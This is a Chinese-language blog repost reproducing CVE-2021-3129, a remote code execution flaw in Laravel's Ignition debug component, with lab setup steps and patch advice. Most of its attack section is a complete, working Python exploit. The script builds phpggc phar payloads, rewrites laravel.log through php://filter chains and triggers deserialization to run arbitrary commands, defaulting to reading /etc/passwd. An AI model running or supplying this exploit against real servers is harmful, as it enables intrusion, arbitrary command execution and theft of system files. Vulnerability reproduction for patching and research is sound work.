CVE-2021-3129-Laravel Debug mode 遠程代碼執行漏洞


CVE-2021-3129-Laravel Debug mode 遠程代碼執行漏洞

一、漏洞簡介

Laravel是一套簡潔、開源的PHP Web開發框架,旨在實現Web軟件的MVC架構。

Laravel開啟了Debug模式時,由於Laravel自帶的Ignition 組件對file_get_contents()和file_put_contents()函數的不安全使用,攻擊者可以通過發起惡意請求,構造惡意Log文件等方式觸發Phar反序列化,最終造成遠程代碼執行。

二、影響版本

Laravel <= 8.4.2

Ignition <2.5.2

三、環境准備&漏洞復現

環境地址:

環境和exp下載:后台回復 “CVE-2021-3129” 下載即可

或者下面下載:https://github.com/SNCKER/CVE-2021-3129

執行

docker-compse up -d

訪問8888端口即可

訪問地址:http://127.0.0.1:8888

漏洞復現:

1、在下載GitHub上下載的docker環境中帶有exp,使用此exp需要下載phpggc

2、把exp和phpggc放在同一目錄,使用python3執行exp,可以看到執行了exp里命令

Macos執行報錯

切換kali環境執行命令:

修改腳本添加參數:

環境和exp下載:后台回復 “CVE-2021-3129” 下載即可

py腳本code

#!/usr/bin/python3

import requests as req
import os, uuid


class Exp:
    __gadget_chains = {
        "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
    }  # phpggc鏈集合,暫時添加rce1后續再添加其他增強通殺能力

    __delimiter_len = 8  # 定界符長度

    def __vul_check(self):
        resp = req.get(self.__url, verify=False)
        if resp.status_code != 405 and "laravel" not in resp.text:
            return False
        return True

    def __payload_send(self, payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload
        resp = req.post(self.__url, headers=header, json=data, verify=False)
        # print(resp.text)
        return resp

    def __command_handler(self, command):
        """
        因為用戶命令要注入到payload生成的命令中,為了防止影響結構,所以進行一些處理。
        """

        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len]  # 定界符用於定位頁面中命令執行結果的位置。
        # print(delimiter)
        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
        # print(command)

        escaped_chars = [' ', '&', '|']  # 我只想到這么多,可自行添加。
        for c in escaped_chars:
            command = command.replace(c, '\\' + c)
        # print(command)
        return command

    def __clear_log(self):
        return self.__payload_send(
            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __gen_payload(self, gadget_chain):
        gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
        # print(gen_shell)
        os.system(gen_shell)
        with open('payload.txt', 'r') as f:
            payload = f.read().replace('\n', '') + 'a'  # 添加一個字符使得兩個完整的payload總是只有一個可以正常解碼
        os.system("rm payload.txt")
        # print(payload)
        return payload

    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")

    def __rce(self):
        text = self.__unserialize_log().text
        # print(text)

        echo_find = text.find(self.__delimiter)
        # print(echo_find)
        if echo_find >= 0:
            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
        else:
            return "[-] RCE echo is not found."

    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('a' * 2)
            self.__payload_send(self.__gen_payload(gadget_chain))
            self.__decode_log()
            print("[*] Result:")
            print(self.__rce())

    def __init__(self, target, command):
        self.target = target
        self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
        self.__command = self.__command_handler(command)
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()


def main():
    Exp("http://127.0.0.1:8888", "cat /etc/passwd")


if __name__ == '__main__':
    main()

四、安全建議

建議將 Laravel 框架升級至8.4.3及以上版本,或將 Ignition組件升級至 2.5.2 及以上版本。

下載鏈接:

https://laravel.com/docs/8.x#laravel-the-fullstack-framework

參考:

https://mp.weixin.qq.com/s/ShRvF_YeV9JbJJnOUjklCw

https://github.com/SNCKER/CVE-2021-3129

https://www.venustech.com.cn/new_type/aqtg/20210114/22299.html

免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!

轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。

訂閱查看更多復現文章、學習筆記

thelostworld

安全路上,與你並肩前行!!!!

個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

個人簡書:https://www.jianshu.com/u/bf0e38a8d400

個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

個人博客園:https://www.cnblogs.com/thelostworld/

FREEBUF主頁:https://www.freebuf.com/author/thelostworld?type=article

歡迎添加本公眾號作者微信交流,添加時備注一下“公眾號”


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM